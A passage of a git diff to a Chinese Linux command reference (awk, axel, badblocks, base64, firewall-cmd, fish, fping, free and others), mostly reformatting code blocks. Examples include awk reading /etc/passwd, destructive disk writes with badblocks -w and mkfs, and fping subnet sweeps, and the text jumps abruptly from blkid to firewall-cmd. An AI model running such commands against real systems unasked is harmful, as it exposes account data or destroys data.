-659,8 +689,8 @@ c 以上出现奇怪问题,`tB[“c”]`没有定义,但是循环时候,发现已经存在该键值,它的值为空,这里需要注意,awk数组是关联数组,只要通过数组引用它的key,就会自动创建改序列。 -```bash -#正确判断方法: +```shell +# 正确判断方法: awk 'BEGIN{tB["a"]="a1";tB["b"]="b1";if( "c" in tB){print "ok";};for(k in tB){print k,tB[k];}}' a a1 b b1 @@ -668,7 +698,7 @@ b b1 `if(key in array)`通过这种方法判断数组中是否包含`key`键值。 -```bash +```shell #删除键值: awk 'BEGIN{tB["a"]="a1";tB["b"]="b1";delete tB["a"];for(k in tB){print k,tB[k];}}' b b1 @@ -676,13 +706,13 @@ b b1 `delete array[key]`可以删除,对应数组`key`的,序列值。 -### 二维、多维数组使用 +### 二维、多维数组使用 -awk的多维数组在本质上是一维数组,更确切一点,awk在存储上并不支持多维数组。awk提供了逻辑上模拟二维数组的访问方式。例如,`array[2,4]=1`这样的访问是允许的。awk使用一个特殊的字符串`SUBSEP(�34)`作为分割字段,在上面的例子中,关联数组array存储的键值实际上是2�344。 +awk的多维数组在本质上是一维数组,更确切一点,awk在存储上并不支持多维数组。awk提供了逻辑上模拟二维数组的访问方式。例如,`array[2,4]=1`这样的访问是允许的。awk使用一个特殊的字符串`SUBSEP(\034)`作为分割字段,在上面的例子中,关联数组array存储的键值实际上是2\0344。 类似一维数组的成员测试,多维数组可以使用`if ( (i,j) in array)`这样的语法,但是下标必须放置在圆括号中。类似一维数组的循环访问,多维数组使用`for ( item in array )`这样的语法遍历数组。与一维数组不同的是,多维数组必须使用`split()`函数来访问单独的下标分量。 -```bash +```shell awk 'BEGIN{ for(i=1;i<=9;i++){ for(j=1;j<=9;j++){ @@ -707,7 +737,7 @@ for(i=1;i<=9;i++){ 另一种方法: -```bash +```shell awk 'BEGIN{ for(i=1;i<=9;i++){ for(j=1;j<=9;j++){ @@ -724,7 +754,7 @@ for(m in tarr){ awk内置函数,主要分以下3种类似:算数函数、字符串函数、其它一般函数、时间函数。 -### 算术函数 +### 算术函数 | 格式 | 描述 | | ---- | ---- | @@ -741,7 +771,7 @@ awk内置函数,主要分以下3种类似:算数函数、字符串函数、 举例说明: -``` +```shell awk 'BEGIN{OFMT="%.3f";fs=sin(1);fe=exp(10);fl=log(10);fi=int(3.1415);print fs,fe,fl,fi;}' 0.841 22026.466 2.303 3 @@ -751,7 +781,7 @@ OFMT 设置输出数据格式是保留3位小数。 获得随机数: -``` +```shell awk 'BEGIN{srand();fr=int(100*rand());print fr;}' 78 awk 'BEGIN{srand();fr=int(100*rand());print fr;}' @@ -760,7 +790,7 @@ awk 'BEGIN{srand();fr=int(100*rand());print fr;}' 41 ``` -### 字符串函数 +### 字符串函数 | 格式 | 描述 | | ---- | ---- | @@ -779,9 +809,9 @@ awk 'BEGIN{srand();fr=int(100*rand());print fr;}' 注:Ere都可以是正则表达式。 - **gsub,sub使用** +**gsub,sub使用** -``` +```shell awk 'BEGIN{info="this is a test2010test!";gsub(/[0-9]+/,"!",info);print info}' this is a test!test! ``` @@ -790,32 +820,32 @@ this is a test!test! **查找字符串(index使用)** -``` +```shell awk 'BEGIN{info="this is a test2010test!";print index(info,"test")?"ok":"no found";}' ok ``` 未找到,返回0 - **正则表达式匹配查找(match使用)** +**正则表达式匹配查找(match使用)** ``` awk 'BEGIN{info="this is a test2010test!";print match(info,/[0-9]+/)?"ok":"no found";}' ok ``` - **截取字符串(substr使用)** +**截取字符串(substr使用)** -``` +```shell [wangsl@centos5 ~]$ awk 'BEGIN{info="this is a test2010test!";print substr(info,4,10);}' s is a tes ``` 从第 4个 字符开始,截取10个长度字符串 - **字符串分割(split使用)** +**字符串分割(split使用)** -``` +```shell awk 'BEGIN{info="this is a test";split(info,tA," ");print length(tA);for(k in tA){print k,tA[k];}}' 4 4 test @@ -826,7 +856,7 @@ awk 'BEGIN{info="this is a test";split(info,tA," ");print length(tA);for(k in tA 分割info,动态创建数组tA,这里比较有意思,`awk for …in`循环,是一个无序的循环。 并不是从数组下标1…n ,因此使用时候需要注意。 - **格式化字符串输出(sprintf使用)** +**格式化字符串输出(sprintf使用)** 格式化字符串格式: @@ -841,12 +871,12 @@ awk 'BEGIN{info="this is a test";split(info,tA," ");print length(tA);for(k in tA | %o | 无符号以八进制表示的整数 | %g | 自动选择合适的表示法 | -``` +```shell awk 'BEGIN{n1=124.113;n2=-1.224;n3=1.2345; printf("%.2f,%.2u,%.2g,%X,%on",n1,n2,n3,n1,n1);}' 124.11,18446744073709551615,1.2,7C,174 ``` -### 一般函数 +### 一般函数 | 格式 | 描述 | | ---- | ---- | @@ -856,34 +886,34 @@ awk 'BEGIN{n1=124.113;n2=-1.224;n3=1.2345; printf("%.2f,%.2u,%.2g,%X,%on",n1,n2, | getline [ Variable ] < Expression | 从 Expression 参数指定的文件读取输入的下一个记录,并将 Variable 参数指定的变量设置为该记录的值。只要流保留打开且 Expression 参数对同一个字符串求值,则对 getline 函数的每次后续调用读取另一个记录。如果未指定 Variable 参数,则 $0 记录变量和 NF 特殊变量设置为从流读取的记录。 | | getline [ Variable ] | 将 Variable 参数指定的变量设置为从当前输入文件读取的下一个输入记录。如果未指定 Variable 参数,则 $0 记录变量设置为该记录的值,还将设置 NF、NR 和 FNR 特殊变量。 | - **打开外部文件(close用法)** +**打开外部文件(close用法)** -``` +```shell awk 'BEGIN{while("cat /etc/passwd"|getline){print $0;};close("/etc/passwd");}' root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin ``` - **逐行读取外部文件(getline使用方法)** +**逐行读取外部文件(getline使用方法)** -``` +```shell awk 'BEGIN{while(getline < "/etc/passwd"){print $0;};close("/etc/passwd");}' root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin ``` -``` +```shell awk 'BEGIN{print "Enter your name:";getline name;print name;}' Enter your name: chengmo chengmo ``` - **调用外部应用程序(system使用方法)** +**调用外部应用程序(system使用方法)** -``` +```shell awk 'BEGIN{b=system("ls -al");print b;}' total 42092 drwxr-xr-x 14 chengmo chengmo 4096 09-30 17:47 . @@ -892,7 +922,7 @@ drwxr-xr-x 95 root root 4096 10-08 14:01 .. b返回值,是执行结果。 -### 时间函数 +### 时间函数 | 格式 | 描述 | | ---- | ---- | @@ -901,26 +931,26 @@ b返回值,是执行结果。 | strftime([format [, timestamp]]) | 格式化时间输出,将时间戳转为时间字符串具体格式,见下表。 | | systime() | 得到时间戳,返回从1970年1月1日开始到当前时间(不计闰年)的整秒数 | - **建指定时间(mktime使用)** +**建指定时间(mktime使用)** -``` +```shell awk 'BEGIN{tstamp=mktime("2001 01 01 12 12 12");print strftime("%c",tstamp);}' 2001年01月01日 星期一 12时12分12秒 ``` -``` +```shell awk 'BEGIN{tstamp1=mktime("2001 01 01 12 12 12");tstamp2=mktime("2001 02 01 0 0 0");print tstamp2-tstamp1;}' 2634468 ``` 求2个时间段中间时间差,介绍了strftime使用方法 -``` +```shell awk 'BEGIN{tstamp1=mktime("2001 01 01 12 12 12");tstamp2=systime();print tstamp2-tstamp1;}' 308201392 ``` - **strftime日期和时间格式说明符** +**strftime日期和时间格式说明符** | 格式 | 描述 | | ---- | ---- | @@ -948,4 +978,4 @@ awk 'BEGIN{tstamp1=mktime("2001 01 01 12 12 12");tstamp2=systime();print tstamp2 | %Y | 当前月份 | | %% | 百分号(%) | - + diff --git a/command/axel.md b/command/axel.md index 42591c657f7..0d38af3af37 100644 --- a/command/axel.md +++ b/command/axel.md @@ -1,70 +1,78 @@ axel === - + 多线程下载工具 ## 补充说明 **axel** 是Linux下一个不错的HTTP/ftp高速下载工具。支持多线程下载、断点续传,且可以从多个地址或者从一个地址的多个连接来下载同一个文件。适合网速不给力时多线程下载提高下载速度。比如在国内VPS或服务器上下载lnmp一键安装包用Axel就比wget快。 -### 安装 +### 安装 + +#### 源码安装 + +github地址:https://github.com/axel-download-accelerator/axel + +下载相应的 release 版本后,解压进入目录执行`./configure && make && make install`安装即可。 + +#### 二进制安装 CentOS安装Axel: -目前yum源上没有Axel,我们可以到http://pkgs.repoforge.org/axel/下载rpm包安装。 +目前yum源上没有Axel,我们可以到 http://pkgs.repoforge.org/axel/ 下载rpm包安装。 32位CentOS执行下面命令: -``` +```shell wget -c http://pkgs.repoforge.org/axel/axel-2.4-1.el5.rf.i386.rpm rpm -ivh axel-2.4-1.el5.rf.i386.rpm ``` 64位CentOS执行下面命令: -``` +```shell wget -c http://pkgs.repoforge.org/axel/axel-2.4-1.el5.rf.x86_64.rpm rpm -ivh axel-2.4-1.el5.rf.x86_64.rpm ``` Debian/Ubuntu安装Axel: -``` +```shell apt-get install axel ``` -### 语法 +### 语法 -``` +```shell axel [options] url1 [url2] [url...] ``` -### 选项 - -``` ---max-speed=x , -s x 最高速度x ---num-connections=x , -n x 连接数x ---output=f , -o f 下载为本地文件f ---search[=x] , -S [x] 搜索镜像 ---header=x , -H x 添加头文件字符串x(指定 HTTP header) ---user-agent=x , -U x 设置用户代理(指定 HTTP user agent) ---no-proxy , -N 不使用代理服务器 ---quiet , -q 静默模式 ---verbose ,-v 更多状态信息 ---alternate , -a Alternate progress indicator ---help ,-h 帮助 ---version ,-V 版本信息 +### 选项 + +```shell +--max-speed=x , -s x # 最高速度x +--num-connections=x , -n x # 连接数x +--output=f , -o f # 下载为本地文件f +--search[=x] , -S [x] # 搜索镜像 +--header=x , -H x # 添加头文件字符串x(指定 HTTP header) +--user-agent=x , -U x # 设置用户代理(指定 HTTP user agent) +--no-proxy , -N # 不使用代理服务器 +--quiet , -q # 静默模式 +--verbose ,-v # 更多状态信息 +--alternate , -a # Alternate progress indicator +--help ,-h # 帮助 +--version ,-V # 版本信息 +--insecure,-k # 不验证SSL证书 ``` -### 实例 +### 实例 -如下载lnmp安装包指定10个线程,存到/tmp/: +如下载lnmp安装包指定10个线程,存到 `/tmp/`: -``` +```shell axel -n 10 -o /tmp/ http://www.jsdig.com/lnmp.tar.gz ``` 如果下载过程中下载中断可以再执行下载命令即可恢复上次的下载进度。 - \ No newline at end of file diff --git a/command/badblocks.md b/command/badblocks.md index a334c53484a..dbd00a31a20 100644 --- a/command/badblocks.md +++ b/command/badblocks.md @@ -1,21 +1,21 @@ badblocks === - + 查找磁盘中损坏的区块 ## 补充说明 **badblock命令** 用于查找磁盘中损坏的区块。 硬盘是一个损耗设备,当使用一段时间后可能会出现坏道等物理故障。电脑硬盘出现坏道后,如果不及时更换或进行技术处理,坏道就会越来越多,并会造成频繁死机和数据丢失。最好的处理方式是更换磁盘,但在临时的情况下,应及时屏蔽坏道部分的扇区,不要触动它们。badblocks就是一个很好的检查坏道位置的工具。 -### 语法 +### 语法 -``` +```shell badblock(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -b<区块大小>:指定磁盘的区块大小,单位为字节; -o<输出文件>:将检查的结果写入指定的输出文件; -s:在检查时显示进度; @@ -23,23 +23,23 @@ badblock(选项)(参数) -w:在检查时,执行写入测试。 ``` -### 参数 +### 参数 -* 磁盘装置:指定要检查的磁盘装置; -* 磁盘区块数:指定磁盘装置的区块总数; -* 启始区块:指定要从哪个区块开始检查。 +* 磁盘装置:指定要检查的磁盘装置; +* 磁盘区块数:指定磁盘装置的区块总数; +* 启始区块:指定要从哪个区块开始检查。 -### 实例 +### 实例 -badblocks以4096的一个block,每一个block检查16次,将结果输出到“hda-badblocks-list”文件里。 +badblocks以 4096 的一个block,每一个block检查16次,将结果输出到“hda-badblocks-list”文件里。 -``` +```shell badblocks -b 4096 -c 16 /dev/hda1 -o hda-badblocks-list ``` hda-badblocks-list是个文本文件,内容如下: -``` +```shell cat hda-badblocks-list 51249 51250 @@ -53,15 +53,15 @@ cat hda-badblocks-list 可以针对可疑的区块多做几次操作。下面,badblocks以4096字节为一个“block”,每一个“block”检查1次, 将结果输出到“hda-badblocks-list.1”文件中,由第51000 block开始,到63000 block结束。 -``` +```shell badblocks -b 4096 -c 1 /dev/hda1 -o hda-badblocks-list.1 63000 51000 ``` 这次花费的时间比较短,硬盘在指定的情况下在很短的时间就产生“嘎嘎嘎嘎”的响声。由于检查条件的不同,其输出的结果也不完全是相同的。重复几次同样的操作,因条件多少都有些不同,所以结果也有所不同。进行多次操作后,直到产生最后的hda-badblock-list.final文件。 -### 其他 +### 其他 - **1、fsck使用badblocks的信息** +**1、fsck使用badblocks的信息** badblocks只会在日志文件中标记出坏道的信息,但若希望在检测磁盘时也能跳过这些坏块不检测,可以使用fsck的-l参数: @@ -69,11 +69,11 @@ badblocks只会在日志文件中标记出坏道的信息,但若希望在检 fsck.ext3 -l /tmp/hda-badblock-list.final /dev/hda1 ``` - **2、在创建文件系统前检测坏道** +**2、在创建文件系统前检测坏道** badblocks可以随e2fsck和mke2fs的-c删除一起运行(对ext3文件系统也一样),在创建文件系统前就先检测坏道信息: -``` +```shell mkfs.ext3 -c /dev/hda1 ``` @@ -82,4 +82,3 @@ mkfs.ext3 -c /dev/hda1 这个操作已经很清楚地告知我们可以采用`mkfs.ext3 -c`选项用`read-only`方式检查硬盘。这个命令会在格式化硬盘时检查硬盘,并标出错误的硬盘“block”。用这个方法格式化硬盘,需要有相当大的耐心,因为命令运行后,会一个个用读的方式检查硬盘。 - \ No newline at end of file diff --git a/command/base64.md b/command/base64.md new file mode 100644 index 00000000000..8a8e4e16198 --- /dev/null +++ b/command/base64.md @@ -0,0 +1,52 @@ +base64 +=== + +base64 编码/解码文件或标准输入输出 + +### 描述 + +base64将`文件`或`标准输入`编码或解码为标准输出; + +### 语法 + +```shell +base64 [OPTION]... [FILE] +``` + +### 参数 + +```shell +-d, --decode # 解码 +-i, --ignore-garbage # 解码时,忽略非字母字符 +-w, --wrap=COLS # 在指定的字符数后自动换行(默认为76), 0 为禁用自动换行 + +--help # 显示此帮助说明并退出 +--version # 输出版本信息并退出 +``` + +### 实例 + +编码字符串 + +```bash +printf foo|base64 +``` + +编码文件 + +```bash +base64 file +``` + +解码 + +```bash +printf Zm9v|base64 -d +``` + +解码文件 + +```bash +base64 -d file +``` + diff --git a/command/basename.md b/command/basename.md index 02055753629..731dac687c0 100644 --- a/command/basename.md +++ b/command/basename.md @@ -1,35 +1,35 @@ basename === - + 打印目录或者文件的基本名称 ## 补充说明 **basename命令** 用于打印目录或者文件的基本名称。basename和dirname命令通常用于shell脚本中的命令替换来指定和指定的输入文件名称有所差异的输出文件名称。 -### 语法 +### 语法 -``` +```shell basename(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell --help:显示帮助; --version:显示版本号。 ``` -### 参数 +### 参数 -* 文件:带路径信息的文件; -* 后缀:可选参数,指定要去除的文件后缀字符串。 +* 文件:带路径信息的文件; +* 后缀:可选参数,指定要去除的文件后缀字符串。 -### 实例 +### 实例 1、要显示一个shell变量的基本名称,请输入: -``` +```shell basename $WORKFILE ``` @@ -37,11 +37,10 @@ basename $WORKFILE 要构造一个和另一个文件名称相同(除了后缀)的文件名称,请输入: -``` +```shell OFILE=`basename $1 .c`.o ``` 此命令指定给 OFILE 文件第一个位置上的参数($1)的值,但它的 .c 后缀更改至 .o。如果 $1 是 /home/jim/program.c 文件,则 OFILE 成为 program.o。因为 program.o 仅是一个基本文件名称,它标识在当前目录中的文件。 - \ No newline at end of file diff --git a/command/batch.md b/command/batch.md index 489b073284d..2531de30bbf 100644 --- a/command/batch.md +++ b/command/batch.md @@ -1,33 +1,33 @@ batch === - + 在系统不繁忙的时候执行定时任务 ## 补充说明 **batch命令** 用于在指定时间,当系统不繁忙时执行任务,用法与at相似。 -### 语法 +### 语法 -``` +```shell batch(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -f:指定包含具体指令的任务文件; -q:指定新任务的队列名称; -m:任务执行完后向用户发送E-mail。 ``` -### 参数 +### 参数 日期时间:指定任务执行的日期时间。 -### 实例 +### 实例 -``` +```shell batch at> echo 1234 at> @@ -35,4 +35,3 @@ job 5 at Sun Apr 28 08:49:00 2013 ``` - \ No newline at end of file diff --git a/command/bc.md b/command/bc.md index 2c582c15b35..1cf3a43edd0 100644 --- a/command/bc.md +++ b/command/bc.md @@ -1,21 +1,21 @@ bc === - + 算术操作精密运算工具 ## 补充说明 **bc命令** 是一种支持任意精度的交互执行的计算器语言。bash内置了对整数四则运算的支持,但是并不支持浮点运算,而bc命令可以很方便的进行浮点运算,当然整数运算也不再话下。 -### 语法 +### 语法 -``` +```shell bc(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -i:强制进入交互式模式; -l:定义使用的标准数学库; -w:对POSIX bc的扩展给出警告信息; @@ -24,15 +24,15 @@ bc(选项)(参数) -h:显示指令的帮助信息。 ``` -### 参数 +### 参数 文件:指定包含计算任务的文件。 -### 实例 +### 实例 算术操作高级运算bc命令它可以执行浮点运算和一些高级函数: -``` +```shell echo "1.212*3" | bc 3.636 @@ -40,7 +40,7 @@ echo "1.212*3" | bc 设定小数精度(数值范围) -``` +```shell echo "scale=2;3/8" | bc 0.37 @@ -50,7 +50,7 @@ echo "scale=2;3/8" | bc 进制转换 -``` +```shell #!/bin/bash abc=192 echo "obase=2;$abc" | bc @@ -59,7 +59,7 @@ echo "obase=2;$abc" | bc 执行结果为:11000000,这是用bc将十进制转换成二进制。 -``` +```shell #!/bin/bash abc=11000000 echo "obase=10;ibase=2;$abc" | bc @@ -70,10 +70,9 @@ echo "obase=10;ibase=2;$abc" | bc 计算平方和平方根: -``` +```shell echo "10^10" | bc echo "sqrt(100)" | bc ``` - \ No newline at end of file diff --git a/command/bg.md b/command/bg.md index a7aaa85d19c..7dd0cb3fc7f 100644 --- a/command/bg.md +++ b/command/bg.md @@ -1,39 +1,48 @@ bg === - -用于将作业放到后台运行 -## 补充说明 +将前台终端作业移动到后台运行 -**bg命令** 用于将作业放到后台运行,使前台可以执行其他任务。该命令的运行效果与在指令后面添加符号`&`的效果是相同的,都是将其放到系统后台执行。 +## 概要 -在Linux系统中执行某些操作时候,有时需要将当前任务暂停调至后台,或有时须将后台暂停的任务重启开启并调至前台,这一序列的操作将会使用到 jobs、bg、和 fg 三个命令以及两个快捷键来完成。 +```shell +bg [job_spec ...] +``` -### 语法 +## 主要用途 -``` -bg(参数) -``` +- 用于将作业放到后台运行,使前台可以执行其他任务。该命令的运行效果与在指令后面添加符号`&`的效果是相同的,都是将其放到系统后台执行。 -### 参数 +- 若后台任务中只有一个,则使用该命令时可以省略任务号。 -作业标识:指定需要放到后台的作业标识号。 +## 参数 -### 实例 +job_spec(可选):指定要移动到后台执行的作业标识符,可以是一到多个。 -使用bg命令将任务号为1的任务放到后台继续执行,输入如下命令: +## 返回值 -``` -bg 1 #后台执行任务号为1的任务 -``` +返回成功除非未开启作业控制或发生了错误。 -如果系统中只有一个挂起的任务时,即使不为该命令设置参数"1",也可以实现这个功能。 +## 例子 -注意:实际上,使用bg命令与在指令后面添加符号"&"的效果是一样的。例如,使用`&`将`find / -name password`放到后台执行,输入如下命令: +```shell +# 运行sleep命令,然后按下ctrl+z。 +sleep 60 +^Z +[1]+ Stopped sleep 60 +# 使用bg命令使得作业在后台运行。 +bg %1 + +# 返回信息: +[1]+ sleep 60 & ``` -find / -name password & #后台执行任务 -``` + +### 注意 + +1. `bash`的作业控制命令包括`bg fg kill wait disown suspend`。 +2. 该命令需要`set`选项`monitor`处于开启状态时才能执行;查看作业控制状态:输入`set -o`查看`monitor`行;执行`set -o monitor`或`set -m`开启该选项。 +3. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。 + - \ No newline at end of file diff --git a/command/bind.md b/command/bind.md index fa48becd6f1..8a431ed9cb8 100644 --- a/command/bind.md +++ b/command/bind.md @@ -1,21 +1,21 @@ bind === - + 显示或设置键盘按键与其相关的功能 ## 补充说明 **bind命令** 用于显示和设置命令行的键盘序列绑定功能。通过这一命令,可以提高命令行中操作效率。您可以利用bind命令了解有哪些按键组合与其功能,也可以自行指定要用哪些按键组合。 -### 语法 +### 语法 -``` +```shell bind(选项) ``` -### 选项 +### 选项 -``` +```shell -d:显示按键配置的内容; -f<按键配置文件>:载入指定的按键配置文件; -l:列出所有的功能; @@ -24,16 +24,16 @@ bind(选项) -v:列出目前的按键配置与其功能。 ``` -### 实例 +### 实例 -``` +```shell bind -x '"\C-l":ls -l' #直接按 CTRL+L 就列出目录 ``` 其中keyseq可以使用`showkey -a`命令来获取: -``` -[root@localhost ~]# showkey -a +```shell +showkey -a Press any keys - Ctrl-D will terminate this program @@ -56,4 +56,3 @@ Press any keys - Ctrl-D will terminate this program ``` - \ No newline at end of file diff --git a/command/blkid.md b/command/blkid.md index 9d93c779b22..be112b5962a 100644 --- a/command/blkid.md +++ b/command/blkid.md @@ -1,96 +1,95 @@ blkid === - + 查看块设备的文件系统类型、LABEL、UUID等信息 ## 补充说明 在Linux下可以使用 **blkid命令** 对查询设备上所采用文件系统类型进行查询。blkid主要用来对系统的块设备(包括交换分区)所使用的文件系统类型、LABEL、UUID等信息进行查询。要使用这个命令必须安装e2fsprogs软件包。 -### 语法 +### 语法 -``` +```shell blkid -L | -U blkid [-c ] [-ghlLv] [-o] [-s ][-t ] -[w ] [ ...] blkid -p [-s ] [-O ] [-S ][-o] ... blkid -i [-s ] [-o] ... ``` -### 选项 - -``` --c 指定cache文件(default: /etc/blkid.tab, /dev/null = none) --d don't encode non-printing characters --h 显示帮助信息 --g garbage collect the blkid cache --o 指定输出格式 --k list all known filesystems/RAIDs and exit --s 显示指定信息,默认显示所有信息 --t find device with a specific token (NAME=value pair) --l look up only first device with token specified by -t --L

[/] + Set destination for ipv to address in service [P only] +--service=<服务名> --remove-destination= + Disable destination for ipv i service [P only] +--service=<服务名> --query-destination=:
[/] + Return whether destination ipv is set for service [P only] +--service=<服务名> --get-destinations + List destinations in service [P only] +``` + + **控制端口 / 服务** 可以通过两种方式控制端口的开放,一种是指定端口号另一种是指定服务名。虽然开放 http 服务就是开放了 80 端口,但是还是不能通过端口号来关闭,也就是说通过指定服务名开放的就要通过指定服务名关闭;通过指定端口号开放的就要通过指定端口号关闭。还有一个要注意的就是指定端口的时候一定要指定是什么协议,tcp 还是 udp。知道这个之后以后就不用每次先关防火墙了,可以让防火墙真正的生效。 -```bash +```shell firewall-cmd --add-service=mysql # 开放mysql端口 firewall-cmd --remove-service=http # 阻止http端口 firewall-cmd --list-services # 查看开放的服务 @@ -176,7 +281,7 @@ firewall-cmd --list-ports # 查看开放的端口 伪装 IP -```bash +```shell firewall-cmd --query-masquerade # 检查是否允许伪装IP firewall-cmd --add-masquerade # 允许防火墙伪装IP firewall-cmd --remove-masquerade# 禁止防火墙伪装IP @@ -189,7 +294,7 @@ firewall-cmd --remove-masquerade# 禁止防火墙伪装IP 1. 比如我将 80 端口转发至 8080 端口,首先检查本地的 80 端口和目标的 8080 端口是否开放监听了 2. 其次检查是否允许伪装 IP,没允许的话要开启伪装 IP -```bash +```shell firewall-cmd --add-forward-port=port=80:proto=tcp:toport=8080 # 将80端口的流量转发至8080 firewall-cmd --add-forward-port=port=80:proto=tcp:toaddr=192.168.0.1 # 将80端口的流量转发至192.168.0.1 firewall-cmd --add-forward-port=port=80:proto=tcp:toaddr=192.168.0.1:toport=8080 # 将80端口的流量转发至192.168.0.1的8080端口 diff --git a/command/fishshell.md b/command/fishshell.md index 2457cf63244..0f39ff98f3e 100644 --- a/command/fishshell.md +++ b/command/fishshell.md @@ -5,7 +5,7 @@ fishshell ## 安装 -```bash +```shell # Ubuntu 和 Debian 的安装方法。 sudo apt-get install fish # Mac 的安装方法。 @@ -16,7 +16,7 @@ brew install fish 由于 `Fish` 的语法与 `Bash` 有很大差异,`Bash` 脚本一般不兼容。因此,建议不要将 `Fish` 设为默认 `Shell`,而是每次手动启动它。 -```bash +```shell # 安装完成后,就可以启动 Fish。 $ fish # 使用过程中,如果需要帮助,可以输入 help 命令 @@ -25,7 +25,7 @@ $ help ## 彩色显示 -```bash +```shell # 无效命令为红色 $ mkd # 有效命令为蓝色 @@ -38,7 +38,7 @@ $ cat ~/somefi Fish 会自动在光标后面给出建议,表示可能的选项,颜色为灰色。如果采纳建议,可以按下 `→` 或 `Control + F` 。如果只采纳一部分,可以按下 `Alt + →`。 -```bash +```shell $ /bin/hostname # 命令建议 $ grep --ignore-case # 参数建议 $ ls node_modules # 路径建议 @@ -54,7 +54,7 @@ $ ls node_modules # 路径建议 ### if 语句 -```bash +```shell if grep fish /etc/shells echo Found fish else if grep bash /etc/shells @@ -66,7 +66,7 @@ end ### switch 语句 -```bash +```shell switch (uname) case Linux echo Hi Tux! @@ -81,7 +81,7 @@ end ### while 循环 -```bash +```shell while true echo "Loop forever" end @@ -89,7 +89,7 @@ end ### for 循环 -```bash +```shell for file in *.txt cp $file $file.bak end @@ -99,7 +99,7 @@ end `Fish` 的函数用来封装命令,或者为现有的命令起别名。 -```bash +```shell function ll ls -lhG $argv end @@ -107,7 +107,7 @@ end 上面代码定义了一个 `ll` 函数。命令行执行这个函数以后,就可以用 `ll` 命令替代 `ls -lhG`。其中,变量 `$argv` 表示函数的参数。 -```bash +```shell function ls command ls -hG $argv end @@ -119,7 +119,7 @@ end `fish_prompt` 函数用于定义命令行提示符(prompt)。 -```bash +```shell function fish_prompt set_color purple date "+%m/%d/%y" @@ -140,7 +140,7 @@ end Fish 的配置文件是 `~/.config/fish/config.fish`,每次 `Fish` 启动,就会自动加载这个文件。Fish 还提供 Web 界面配置该文件。 -```bash +```shell $ fish_config # 浏览器打开 Web 界面配置 ``` @@ -164,7 +164,7 @@ Startup (Where's .bashrc?): `~/.config/fish/config.fish`,更好的方式是 au Autoloading Functions: ` ~/.config/fish/functions/.` Universal Variables:a variable whose value is shared across all instances of fish -```bash +```shell set name 'czl' # 设置变量,替代 name=czl echo $name echo $status # exit status,替代 $? diff --git a/command/fmt.md b/command/fmt.md index fb075eabf1d..0578a82cbfe 100644 --- a/command/fmt.md +++ b/command/fmt.md @@ -1,21 +1,21 @@ fmt === - + 读取文件后优化处理并输出 ## 补充说明 **fmt命令** 读取文件的内容,根据选项的设置对文件格式进行简单的优化处理,并将结果送到标准输出设备。 -### 语法 +### 语法 -``` +```shell fmt(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -c或--crown-margin:每段前两列缩排; -p<列起始字符串>或-prefix=<列起始字符串>:仅合并含有指定字符串的列,通常运用在程序语言的注解方面; -s或--split-only:只拆开字数超出每列字符数的列,但不合并字数不足每列字符数的列; @@ -24,9 +24,8 @@ fmt(选项)(参数) -w<每列字符数>或--width=<每列字符数>或-<每列字符数>:设置每列的最大字符数。 ``` -### 参数 +### 参数 指定要优化格式的文件。 - \ No newline at end of file diff --git a/command/fold.md b/command/fold.md index f434da9557c..c5a32ab53f7 100644 --- a/command/fold.md +++ b/command/fold.md @@ -1,29 +1,34 @@ fold === - + 控制文件内容输出时所占用的屏幕宽度 ## 补充说明 **fold命令** 用于控制文件内容输出时所占用的屏幕宽度。fold命令会从指定的文件里读取内容,将超过限定列宽的列加入增列字符后,输出到标准输出设备。若不指定任何文件名称,或是所给予的文件名为“-”,则fold指令会从标准输入设备读取数据。 -### 语法 +### 语法 -``` +```shell fold(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -b或——bytes:以Byte为单位计算列宽,而非采用行数编号为单位; -s或——spaces:以空格字符作为换列点; -w<每列行数>或--width<每列行数>:设置每列的最大行数。 ``` -### 参数 +### 参数 文件:指定要显示内容的文件。 +### 示例 + +```shell +fold -w 5 filename +``` + - \ No newline at end of file diff --git a/command/fping.md b/command/fping.md new file mode 100644 index 00000000000..b2678e635a6 --- /dev/null +++ b/command/fping.md @@ -0,0 +1,79 @@ +fping +=== + +fping检测主机是否存在 + +## 补充说明 + +**fping命令** fping类似于ping,但比ping强大。与ping要等待某一主机连接超时或发回反馈信息不同,fping给一个主机发送完数据包后,马上给下一个主机发送数据包,实现多主机同时ping,fping还可以在命令行中指定要ping的主机数量范围。 + +### 语法 + +```shell +fping(选项)(参数) +``` + +### 选项 + +```shell +-a # 显示存活的主机 +-b # ping 数据包的大小。(默认为56) +-c # ping每个目标的次数 (默认为1) +-f # 从文件获取目标列表(不能与 -g 同时使用) +-l # 循环发送ping +-g # 通过指定开始和结束地址来生成目标列表,可以使网段 +-u # 显示不可到达的目标 +``` + +### 实例 + +安装fping命令: + +```shell +# 先安装epel源: +yum install epel* -y +# 安装fping包: +yum install fping -y +``` + +选择性ping指定ip: + +```shell +~]# fping 192.168.0.1 192.168.0.125 192.168.0.126 2>/dev/null +192.168.0.1 is alive +192.168.0.125 is alive +192.168.0.126 is unreachable +``` + +ping整个网段: + +```bash +~]# fping -g 192.168.0.0/24 2>/dev/null +192.168.0.1 is alive +192.168.0.103 is alive +... +192.168.0.253 is unreachable +192.168.0.254 is unreachable +``` + +ping整个网段,只显示存活的主机: + +```shell +~]# fping -ag 192.168.0.0/24 2>/dev/null +192.168.0.1 +192.168.0.103 +... +``` + +ping某一段ip: + +```shell +~]# fping -ag 192.168.0.5 192.168.0.130 2>/dev/null +192.168.0.103 +... +192.168.0.125 +192.168.0.130 +``` + + + diff --git a/command/free.md b/command/free.md index f36144f4ebd..11e927b395b 100644 --- a/command/free.md +++ b/command/free.md @@ -7,15 +7,15 @@ free **free命令** 可以显示当前系统未使用的和已使用的内存数目,还可以显示被内核使用的内存缓冲区。 -### 语法 +### 语法 -``` +```shell free(选项) ``` -### 选项 +### 选项 -```bash +```shell -b # 以Byte为单位显示内存使用情况; -k # 以KB为单位显示内存使用情况; -m # 以MB为单位显示内存使用情况; @@ -24,18 +24,19 @@ free(选项) -s<间隔秒数> # 持续观察内存使用状况; -t # 显示内存总和列; -V # 显示版本信息。 +-h, 